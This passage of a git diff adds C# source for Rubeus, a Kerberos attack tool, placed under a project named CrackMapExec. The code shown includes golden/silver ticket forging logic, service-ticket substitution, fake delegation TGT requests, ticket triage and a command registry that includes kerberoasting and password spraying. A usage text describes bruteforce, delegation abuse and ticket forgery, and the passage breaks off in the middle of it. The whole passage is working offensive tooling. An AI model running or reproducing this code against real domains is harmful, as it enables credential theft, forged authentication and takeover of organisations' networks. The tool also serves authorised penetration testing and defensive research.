arguments["/displayname"]; + } + if (arguments.ContainsKey("/logoncount")) + { + logonCount = short.Parse(arguments["/logoncount"]); + } + if (arguments.ContainsKey("/badpwdcount")) + { + badPwdCount = short.Parse(arguments["/badpwdcount"]); + } + if (arguments.ContainsKey("/lastlogon")) + { + lastLogon = DateTime.Parse(arguments["/lastlogon"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime(); + } + if (arguments.ContainsKey("/logofftime")) + { + logoffTime = DateTime.Parse(arguments["/logofftime"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime(); + } + if (arguments.ContainsKey("/pwdlastset")) + { + pwdLastSet = DateTime.Parse(arguments["/pwdlastset"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime(); + } + if (arguments.ContainsKey("/maxpassage")) + { + maxPassAge = Int32.Parse(arguments["/maxpassage"]); + } + if (arguments.ContainsKey("/minpassage")) + { + minPassAge = Int32.Parse(arguments["/minpassage"]); + } + if (arguments.ContainsKey("/homedir")) + { + homeDir = arguments["/homedir"]; + } + if (arguments.ContainsKey("/homedrive")) + { + homeDrive = arguments["/homedrive"]; + } + if (arguments.ContainsKey("/profilepath")) + { + profilePath = arguments["/profilepath"]; + } + if (arguments.ContainsKey("/scriptpath")) + { + scriptPath = arguments["/scriptpath"]; + } + if (arguments.ContainsKey("/resourcegroupsid") && arguments.ContainsKey("/resourcegroups")) + { + resourceGroupSid = arguments["/resourcegroupsid"]; + resourceGroups = new List(); + foreach (string rgroup in arguments["/resourcegroups"].Split(',')) + { + try + { + resourceGroups.Add(Int32.Parse(rgroup)); + } + catch + { + Console.WriteLine("[!] Resource group value invalid: {0}", rgroup); + } + } + } + if (arguments.ContainsKey("/uac")) + { + Interop.PacUserAccountControl tmp = Interop.PacUserAccountControl.EMPTY; + + foreach (string u in arguments["/uac"].Split(',')) + { + Interop.PacUserAccountControl result; + bool status = Interop.PacUserAccountControl.TryParse(u, out result); + + if (status) + { + tmp |= result; + } + else + { + Console.WriteLine("[X] Error the following flag name passed is not valid: {0}", u); + } + } + if (tmp != Interop.PacUserAccountControl.EMPTY) + { + uac = tmp; + } + } + + // domain and DC information + if (arguments.ContainsKey("/domain")) + { + domain = arguments["/domain"]; + } + if (arguments.ContainsKey("/dc")) + { + dc = arguments["/dc"]; + } + if (arguments.ContainsKey("/sid")) + { + sid = arguments["/sid"]; + } + if (arguments.ContainsKey("/netbios")) + { + netbios = arguments["/netbios"]; + } + + // getting the user information from LDAP + if (arguments.ContainsKey("/ldap")) + { + ldap = true; + if (arguments.ContainsKey("/creduser")) + { + if (!arguments.ContainsKey("/credpassword")) + { + Console.WriteLine("\r\n[X] /credpassword is required when specifying /creduser\r\n"); + return; + } + + ldapuser = arguments["/creduser"]; + ldappassword = arguments["/credpassword"]; + } + + if (String.IsNullOrEmpty(domain)) + { + domain = System.DirectoryServices.ActiveDirectory.Domain.GetCurrentDomain().Name; + } + } + + // service name + if (arguments.ContainsKey("/service")) + { + service = arguments["/service"]; + } + else + { + Console.WriteLine("[X] SPN '/service:sname/server.domain.com' is required"); + return; + } + + // encryption types + encType = Interop.KERB_ETYPE.rc4_hmac; //default is non /enctype is specified + if (arguments.ContainsKey("/enctype")) + { + string encTypeString = arguments["/enctype"].ToUpper(); + + if (encTypeString.Equals("RC4") || encTypeString.Equals("NTLM")) + { + encType = Interop.KERB_ETYPE.rc4_hmac; + } + else if (encTypeString.Equals("AES128")) + { + encType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1; + } + else if (encTypeString.Equals("AES256") || encTypeString.Equals("AES")) + { + encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; + } + else if (encTypeString.Equals("DES")) + { + encType = Interop.KERB_ETYPE.des_cbc_md5; + } + } + + if (arguments.ContainsKey("/des")) + { + hash = arguments["/des"]; + encType = Interop.KERB_ETYPE.des_cbc_md5; + } + else if (arguments.ContainsKey("/rc4")) + { + hash = arguments["/rc4"]; + encType = Interop.KERB_ETYPE.rc4_hmac; + } + else if (arguments.ContainsKey("/ntlm")) + { + hash = arguments["/ntlm"]; + encType = Interop.KERB_ETYPE.rc4_hmac; + } + else if (arguments.ContainsKey("/aes128")) + { + hash = arguments["/aes128"]; + encType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1; + } + else if (arguments.ContainsKey("/aes256")) + { + hash = arguments["/aes256"]; + encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; + } + + if (arguments.ContainsKey("/krbkey")) + { + krbKey = Helpers.StringToByteArray(arguments["/krbkey"]); + } + + if (arguments.ContainsKey("/krbenctype")) + { + if (krbKey == null) + { + Console.WriteLine("[!] '/krbkey' not specified ignoring the '/krbenctype' argument"); + } + else + { + string krbEncTypeString = arguments["/krbenctype"].ToUpper(); + + if (krbEncTypeString.Equals("RC4") || krbEncTypeString.Equals("NTLM") || krbEncTypeString.Equals("DES")) + { + krbEncType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5; + } + else if (krbEncTypeString.Equals("AES128")) + { + krbEncType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES128; + } + else if (krbEncTypeString.Equals("AES256") || krbEncTypeString.Equals("AES")) + { + krbEncType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256; + } + } + } + + // flags + if (arguments.ContainsKey("/flags")) + { + Interop.TicketFlags tmp = Interop.TicketFlags.empty; + + foreach (string flag in arguments["/flags"].Split(',')) + { + Interop.TicketFlags result; + bool status = Interop.TicketFlags.TryParse(flag, out result); + + if (status) + { + tmp |= result; + } + else + { + Console.WriteLine("[X] Error the following flag name passed is not valid: {0}", flag); + } + } + if (tmp != Interop.TicketFlags.empty) + { + flags = tmp; + } + } + + // ticket times + if (arguments.ContainsKey("/starttime")) + { + try + { + startTime = DateTime.Parse(arguments["/starttime"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime(); + } + catch (Exception e) + { + Console.WriteLine("[X] Error unable to parse supplied /starttime {0}: {1}", arguments["/starttime"], e.Message); + return; + } + } + if (arguments.ContainsKey("/authtime")) + { + try + { + authTime = DateTime.Parse(arguments["/authtime"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime(); + } + catch (Exception e) + { + Console.WriteLine("[!] Unable to parse supplied /authtime {0}: {1}", arguments["/authtime"], e.Message); + authTime = startTime; + } + } + else if (arguments.ContainsKey("/starttime")) + { + authTime = startTime; + } + if (arguments.ContainsKey("/rangeend")) + { + rangeEnd = Helpers.FutureDate(startTime, arguments["/rangeend"]); + if (rangeEnd == null) + { + Console.WriteLine("[!] Ignoring invalid /rangeend argument: {0}", arguments["/rangeend"]); + rangeEnd = startTime; + } + } + if (arguments.ContainsKey("/rangeinterval")) + { + rangeInterval = arguments["/rangeinterval"]; + } + if (arguments.ContainsKey("/endtime")) + { + endTime = arguments["/endtime"]; + } + if (arguments.ContainsKey("/renewtill")) + { + renewTill = arguments["/renewtill"]; + } + + // actions for the ticket(s) + if (arguments.ContainsKey("/ptt")) + { + ptt = true; + } + if (arguments.ContainsKey("/outfile")) + { + outfile = arguments["/outfile"]; + } + + // print a command that could be used to recreate the ticket + // useful if you use LDAP to get the user information, this could be used to avoid touching LDAP again + if (arguments.ContainsKey("/printcmd")) + { + printcmd = true; + } + + // unusual service ticket options + if (arguments.ContainsKey("/cname")) + { + cName = arguments["/cname"]; + } + if (arguments.ContainsKey("/crealm")) + { + cRealm = arguments["/crealm"]; + } + if (arguments.ContainsKey("/s4uproxytarget")) + { + s4uProxyTarget = arguments["/s4uproxytarget"]; + } + if (arguments.ContainsKey("/s4utransitedservices")) + { + s4uTransitedServices = arguments["/s4utransitedservices"]; + } + if (arguments.ContainsKey("/authdata")) + { + includeAuthData = true; + } + + // checks + if (String.IsNullOrEmpty(user)) + { + Console.WriteLine("\r\n[X] You must supply a user name!\r\n"); + return; + } + if (String.IsNullOrEmpty(hash)) + { + Console.WriteLine("\r\n[X] You must supply a [/des|/rc4|/aes128|/aes256] hash!\r\n"); + return; + } + if (!String.IsNullOrEmpty(s4uProxyTarget) || !String.IsNullOrEmpty(s4uTransitedServices)) + { + if (String.IsNullOrEmpty(s4uProxyTarget) || String.IsNullOrEmpty(s4uTransitedServices)) + { + Console.WriteLine("[X] Need to supply both '/s4uproxytarget' and '/s4utransitedservices'.\r\n"); + return; + } + } + + if (!((encType == Interop.KERB_ETYPE.des_cbc_md5) || (encType == Interop.KERB_ETYPE.rc4_hmac) || (encType == Interop.KERB_ETYPE.aes128_cts_hmac_sha1) || (encType == Interop.KERB_ETYPE.aes256_cts_hmac_sha1))) + { + Console.WriteLine("\r\n[X] Only /des, /rc4, /aes128, and /aes256 are supported at this time.\r\n"); + return; + } + else + { + ForgeTickets.ForgeTicket( + user, + service, + Helpers.StringToByteArray(hash), + encType, + krbKey, + krbEncType, + ldap, + ldapuser, + ldappassword, + sid, + domain, + netbios, + dc, + flags, + startTime, + rangeEnd, + rangeInterval, + authTime, + endTime, + renewTill, + id, + groups, + sids, + displayName, + logonCount, + badPwdCount, + lastLogon, + logoffTime, + pwdLastSet, + maxPassAge, + minPassAge, + pGid, + homeDir, + homeDrive, + profilePath, + scriptPath, + resourceGroupSid, + resourceGroups, + uac, + newPac, + extendedUpnDns, + outfile, + ptt, + printcmd, + cName, + cRealm, + s4uProxyTarget, + s4uTransitedServices, + includeAuthData, + noFullPacSig + ); + return; + } + } + } +} diff --git a/inc/kerbtgs/CrackMapCore/Commands/Tgssub.cs b/inc/kerbtgs/CrackMapCore/Commands/Tgssub.cs new file mode 100644 index 0000000..72a68f5 --- /dev/null +++ b/inc/kerbtgs/CrackMapCore/Commands/Tgssub.cs @@ -0,0 +1,84 @@ +using System; +using System.Collections.Generic; +using System.IO; +using Rubeus.lib.Interop; + + +namespace Rubeus.Commands +{ + public class Tgssub : ICommand + { + public static string CommandName => "tgssub"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: Service Ticket sname Substitution\r\n"); + + string altservice = ""; + LUID luid = new LUID(); + bool ptt = false; + string srealm = ""; + + if (arguments.ContainsKey("/luid")) + { + try + { + luid = new LUID(arguments["/luid"]); + } + catch + { + Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/luid"]); + return; + } + } + + if (arguments.ContainsKey("/ptt")) + { + ptt = true; + } + + if (arguments.ContainsKey("/altservice")) + { + altservice = arguments["/altservice"]; + } + else + { + Console.WriteLine("\r\n[X] An /altservice:SNAME or /altservice:SNAME/host needs to be supplied!\r\n"); + return; + } + + if(arguments.ContainsKey("/srealm")) + { + srealm = arguments["/srealm"]; + } + + if (arguments.ContainsKey("/ticket")) + { + string kirbi64 = arguments["/ticket"]; + + if (Helpers.IsBase64String(kirbi64)) + { + byte[] kirbiBytes = Convert.FromBase64String(kirbi64); + KRB_CRED kirbi = new KRB_CRED(kirbiBytes); + LSA.SubstituteTGSSname(kirbi, altservice, ptt, luid, srealm); + } + else if (File.Exists(kirbi64)) + { + byte[] kirbiBytes = File.ReadAllBytes(kirbi64); + KRB_CRED kirbi = new KRB_CRED(kirbiBytes); + LSA.SubstituteTGSSname(kirbi, altservice, ptt, luid, srealm); + } + else + { + Console.WriteLine("\r\n[X]/ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); + } + return; + } + else + { + Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n"); + return; + } + } + } +} \ No newline at end of file diff --git a/inc/kerbtgs/CrackMapCore/Commands/Tgtdeleg.cs b/inc/kerbtgs/CrackMapCore/Commands/Tgtdeleg.cs new file mode 100644 index 0000000..d3d2209 --- /dev/null +++ b/inc/kerbtgs/CrackMapCore/Commands/Tgtdeleg.cs @@ -0,0 +1,25 @@ +using System; +using System.Collections.Generic; + + +namespace Rubeus.Commands +{ + public class Tgtdeleg : ICommand + { + public static string CommandName => "tgtdeleg"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: Request Fake Delegation TGT (current user)\r\n"); + + if (arguments.ContainsKey("/target")) + { + byte[] blah = LSA.RequestFakeDelegTicket(arguments["/target"]); + } + else + { + byte[] blah = LSA.RequestFakeDelegTicket(); + } + } + } +} \ No newline at end of file diff --git a/inc/kerbtgs/CrackMapCore/Commands/Triage.cs b/inc/kerbtgs/CrackMapCore/Commands/Triage.cs new file mode 100644 index 0000000..8d7c297 --- /dev/null +++ b/inc/kerbtgs/CrackMapCore/Commands/Triage.cs @@ -0,0 +1,62 @@ +using System; +using System.Collections.Generic; +using Rubeus.lib.Interop; + + +namespace Rubeus.Commands +{ + public class Triage : ICommand + { + public static string CommandName => "triage"; + + public void Execute(Dictionary arguments) + { + if (Helpers.IsHighIntegrity()) + { + Console.WriteLine("\r\nAction: Triage Kerberos Tickets (All Users)\r\n"); + } + else + { + Console.WriteLine("\r\nAction: Triage Kerberos Tickets (Current User)\r\n"); + } + + LUID targetLuid = new LUID(); + string targetUser = ""; + string targetService = ""; + string targetServer = ""; + + if (arguments.ContainsKey("/luid")) + { + try + { + targetLuid = new LUID(arguments["/luid"]); + } + catch + { + Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/luid"]); + return; + } + } + + if (arguments.ContainsKey("/user")) + { + targetUser = arguments["/user"]; + } + + if (arguments.ContainsKey("/service")) + { + targetService = arguments["/service"]; + } + + if (arguments.ContainsKey("/server")) + { + targetServer = arguments["/server"]; + } + + // extract out the tickets (w/ full data) with the specified targeting options + List sessionCreds = LSA.EnumerateTickets(false, targetLuid, targetService, targetUser, targetServer, true); + // display tickets with the "Full" format + LSA.DisplaySessionCreds(sessionCreds, LSA.TicketDisplayFormat.Triage); + } + } +} \ No newline at end of file diff --git a/inc/kerbtgs/CrackMapCore/CrackMapExec.csproj b/inc/kerbtgs/CrackMapCore/CrackMapExec.csproj new file mode 100644 index 0000000..4f72137 --- /dev/null +++ b/inc/kerbtgs/CrackMapCore/CrackMapExec.csproj @@ -0,0 +1,247 @@ + + + + + Debug + AnyCPU + {658C8B7F-3664-4A95-9572-A3E5871DFC06} + Exe + Properties + Rubeus + Rubeus + v4.0 + 512 + + publish\ + true + Disk + false + Foreground + 7 + Days + false + false + true + 0 + 1.0.0.%2a + false + false + true + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + false + true + + + AnyCPU + none + true + bin\Release\ + TRACE + prompt + 4 + false + false + true + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + False + .NET Framework 3.5 SP1 + true + + + + + + + + + \ No newline at end of file diff --git a/inc/kerbtgs/CrackMapCore/Domain/ArgumentParser.cs b/inc/kerbtgs/CrackMapCore/Domain/ArgumentParser.cs new file mode 100644 index 0000000..08638ee --- /dev/null +++ b/inc/kerbtgs/CrackMapCore/Domain/ArgumentParser.cs @@ -0,0 +1,43 @@ +using System.Collections.Generic; +using System.Diagnostics; + +namespace Rubeus.Domain +{ + public static class ArgumentParser + { + public static ArgumentParserResult Parse(IEnumerable args) + { + var arguments = new Dictionary(); + try + { + foreach (var argument in args) + { + var idx = argument.IndexOf(':'); + if (idx > 0) + { + arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1); + } + else + { + idx = argument.IndexOf('='); + if (idx > 0) + { + arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1); + } + else + { + arguments[argument] = string.Empty; + } + } + } + + return ArgumentParserResult.Success(arguments); + } + catch (System.Exception ex) + { + Debug.WriteLine(ex.Message); + return ArgumentParserResult.Failure(); + } + } + } +} diff --git a/inc/kerbtgs/CrackMapCore/Domain/ArgumentParserResult.cs b/inc/kerbtgs/CrackMapCore/Domain/ArgumentParserResult.cs new file mode 100644 index 0000000..906faa0 --- /dev/null +++ b/inc/kerbtgs/CrackMapCore/Domain/ArgumentParserResult.cs @@ -0,0 +1,23 @@ +using System.Collections.Generic; + +namespace Rubeus.Domain +{ + public class ArgumentParserResult + { + public bool ParsedOk { get; } + public Dictionary Arguments { get; } + + private ArgumentParserResult(bool parsedOk, Dictionary arguments) + { + ParsedOk = parsedOk; + Arguments = arguments; + } + + public static ArgumentParserResult Success(Dictionary arguments) + => new ArgumentParserResult(true, arguments); + + public static ArgumentParserResult Failure() + => new ArgumentParserResult(false, null); + + } +} \ No newline at end of file diff --git a/inc/kerbtgs/CrackMapCore/Domain/CommandCollection.cs b/inc/kerbtgs/CrackMapCore/Domain/CommandCollection.cs new file mode 100644 index 0000000..94d3cde --- /dev/null +++ b/inc/kerbtgs/CrackMapCore/Domain/CommandCollection.cs @@ -0,0 +1,72 @@ +using System; +using System.Collections.Generic; +using Rubeus.Commands; + +namespace Rubeus.Domain +{ + public class CommandCollection + { + private readonly Dictionary> _availableCommands = new Dictionary>(); + + // How To Add A New Command: + // 1. Create your command class in the Commands Folder + // a. That class must have a CommandName static property that has the Command's name + // and must also Implement the ICommand interface + // b. Put the code that does the work into the Execute() method + // 2. Add an entry to the _availableCommands dictionary in the Constructor below. + + public CommandCollection() + { + _availableCommands.Add(Asktgs.CommandName, () => new Asktgs()); + _availableCommands.Add(Asktgt.CommandName, () => new Asktgt()); + _availableCommands.Add(Asreproast.CommandName, () => new Asreproast()); + _availableCommands.Add(Changepw.CommandName, () => new Changepw()); + _availableCommands.Add(Createnetonly.CommandName, () => new Createnetonly()); + _availableCommands.Add(Currentluid.CommandName, () => new Currentluid()); + _availableCommands.Add(Logonsession.CommandName, () => new Logonsession()); + _availableCommands.Add(Describe.CommandName, () => new Describe()); + _availableCommands.Add(Dump.CommandName, () => new Dump()); + _availableCommands.Add(Hash.CommandName, () => new Hash()); + _availableCommands.Add(HarvestCommand.CommandName, () => new HarvestCommand()); + _availableCommands.Add(Kerberoast.CommandName, () => new Kerberoast()); + _availableCommands.Add(Klist.CommandName, () => new Klist()); + _availableCommands.Add(Monitor.CommandName, () => new Monitor()); + _availableCommands.Add(Ptt.CommandName, () => new Ptt()); + _availableCommands.Add(Purge.CommandName, () => new Purge()); + _availableCommands.Add(RenewCommand.CommandName, () => new RenewCommand()); + _availableCommands.Add(S4u.CommandName, () => new S4u()); + _availableCommands.Add(Tgssub.CommandName, () => new Tgssub()); + _availableCommands.Add(Tgtdeleg.CommandName, () => new Tgtdeleg()); + _availableCommands.Add(Triage.CommandName, () => new Triage()); + _availableCommands.Add(Brute.CommandName, () => new Brute()); + // alias 'spray' to 'brute' + _availableCommands.Add("spray", () => new Brute()); + _availableCommands.Add(Silver.CommandName, () => new Silver()); + _availableCommands.Add(Golden.CommandName, () => new Golden()); + _availableCommands.Add(Diamond.CommandName, () => new Diamond()); + _availableCommands.Add(Preauthscan.CommandName, () => new Preauthscan()); + _availableCommands.Add(ASREP2Kirbi.CommandName, () => new ASREP2Kirbi()); + _availableCommands.Add(Kirbi.CommandName, () => new Kirbi()); + } + + public bool ExecuteCommand(string commandName, Dictionary arguments) + { + bool commandWasFound; + + if (string.IsNullOrEmpty(commandName) || _availableCommands.ContainsKey(commandName) == false) + commandWasFound= false; + else + { + // Create the command object + var command = _availableCommands[commandName].Invoke(); + + // and execute it with the arguments from the command line + command.Execute(arguments); + + commandWasFound = true; + } + + return commandWasFound; + } + } +} \ No newline at end of file diff --git a/inc/kerbtgs/CrackMapCore/Domain/Info.cs b/inc/kerbtgs/CrackMapCore/Domain/Info.cs new file mode 100644 index 0000000..86b28c2 --- /dev/null +++ b/inc/kerbtgs/CrackMapCore/Domain/Info.cs @@ -0,0 +1,244 @@ +using System; + +namespace Rubeus.Domain +{ + public static class Info + { + public static void ShowLogo() + { + Console.WriteLine("\r\n ______ _ "); + Console.WriteLine(" (_____ \\ | | "); + Console.WriteLine(" _____) )_ _| |__ _____ _ _ ___ "); + Console.WriteLine(" | __ /| | | | _ \\| ___ | | | |/___)"); + Console.WriteLine(" | | \\ \\| |_| | |_) ) ____| |_| |___ |"); + Console.WriteLine(" |_| |_|____/|____/|_____)____/(___/\r\n"); + Console.WriteLine(" v2.3.2 \r\n"); + } + + public static void ShowUsage() + { + string usage = @" + Ticket requests and renewals: + + Retrieve a TGT based on a user password/hash, optionally saving to a file or applying to the current logon session or a specific LUID: + Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/oldsam] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256] [/principaltype:principal|enterprise|x500|srv_xhost|srv_host|srv_inst] + + Retrieve a TGT based on a user password/hash, start a /netonly process, and to apply the ticket to the new process/logon session: + Rubeus.exe asktgt /user:USER /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/opsec] [/nopac] [/oldsam] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256] [/principaltype:principal|enterprise|x500|srv_xhost|srv_host|srv_inst] + + Retrieve a TGT using a PCKS12 certificate, start a /netonly process, and to apply the ticket to the new process/logon session: + Rubeus.exe asktgt /user:USER /certificate:C:\temp\leaked.pfx /createnetonly:C:\Windows\System32\cmd.exe [/getcredentials] [/servicekey:KRBTGTKEY] [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256] [/principaltype:principal|enterprise|x500|srv_xhost|srv_host|srv_inst] + + Retrieve a TGT using a certificate from the users keystore (Smartcard) specifying certificate thumbprint or subject, start a /netonly process, and to apply the ticket to the new process/logon session: + Rubeus.exe asktgt /user:USER /certificate:f063e6f4798af085946be6cd9d82ba3999c7ebac /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/suppenctype:DES|RC4|AES128|AES256] [/principaltype:principal|enterprise|x500|srv_xhost|srv_host|srv_inst] [/nowrap] + + Request a TGT without sending pre-auth data: + Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256] [/principaltype:principal|enterprise|x500|srv_xhost|srv_host|srv_inst] + + Request a service ticket using an AS-REQ: + Rubeus.exe asktgt /user:USER /service:SPN [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/oldsam] [/proxyurl:https://KDC_PROXY/kdcproxy] + + Retrieve a service ticket for one or more SPNs, optionally saving or applying the ticket: + Rubeus.exe asktgs [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] [/targetdomain] [/u2u] [/targetuser] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy] + + Retrieve a service ticket using the Kerberos Key List Request options: + Rubeus.exe asktgs /keyList /service:KRBTGT_SPN [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] [/targetdomain] [/u2u] [/targetuser] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy] + + Renew a TGT, optionally applying the ticket, saving it, or auto-renewing the ticket up to its renew-till limit: + Rubeus.exe renew [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap] + + Perform a Kerberos-based password bruteforcing attack: + Rubeus.exe brute [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap] + + Perform a scan for account that do not require pre-authentication: + Rubeus.exe preauthscan /users:C:\temp\users.txt [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/proxyurl:https://KDC_PROXY/kdcproxy] + + + Constrained delegation abuse: + + Perform S4U constrained delegation abuse: + Rubeus.exe s4u /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/proxyurl:https://KDC_PROXY/kdcproxy] + Rubeus.exe s4u /user:USER [/domain:DOMAIN] /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/bronzebit] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] + + Perform S4U constrained delegation abuse across domains: + Rubeus.exe s4u /user:USER [/domain:DOMAIN] /msdsspn:SERVICE/SERVER /targetdomain:DOMAIN.LOCAL /targetdc:DC.DOMAIN.LOCAL [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/self] [/nopac] + + + Ticket Forgery: + + Forge a golden ticket using LDAP to gather the relevent information: + Rubeus.exe golden /ldap [/printcmd] [outfile:FILENAME] [/ptt] + + Forge a golden ticket using LDAP to gather the relevent information but explicitly overriding some values: + Rubeus.exe golden /ldap [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/netbios:NETBIOS_DOMAIN] [/sid:DOMAIN_SID] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/oldpac] [/extendedupndns] [/printcmd] [outfile:FILENAME] [/ptt] + + Forge a golden ticket, setting values explicitly: + Rubeus.exe golden [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/oldpac] [/extendedupndns] [/printcmd] [outfile:FILENAME] [/ptt] + + Forge a golden ticket for a read only domain controller (for Key List Requests): + Rubeus.exe golden [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/oldpac] [/extendedupndns] [/printcmd] [outfile:FILENAME] [/ptt] + + Forge a silver ticket using LDAP to gather the relevent information: + Rubeus.exe silver /ldap [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt] + + Forge a silver ticket using LDAP to gather the 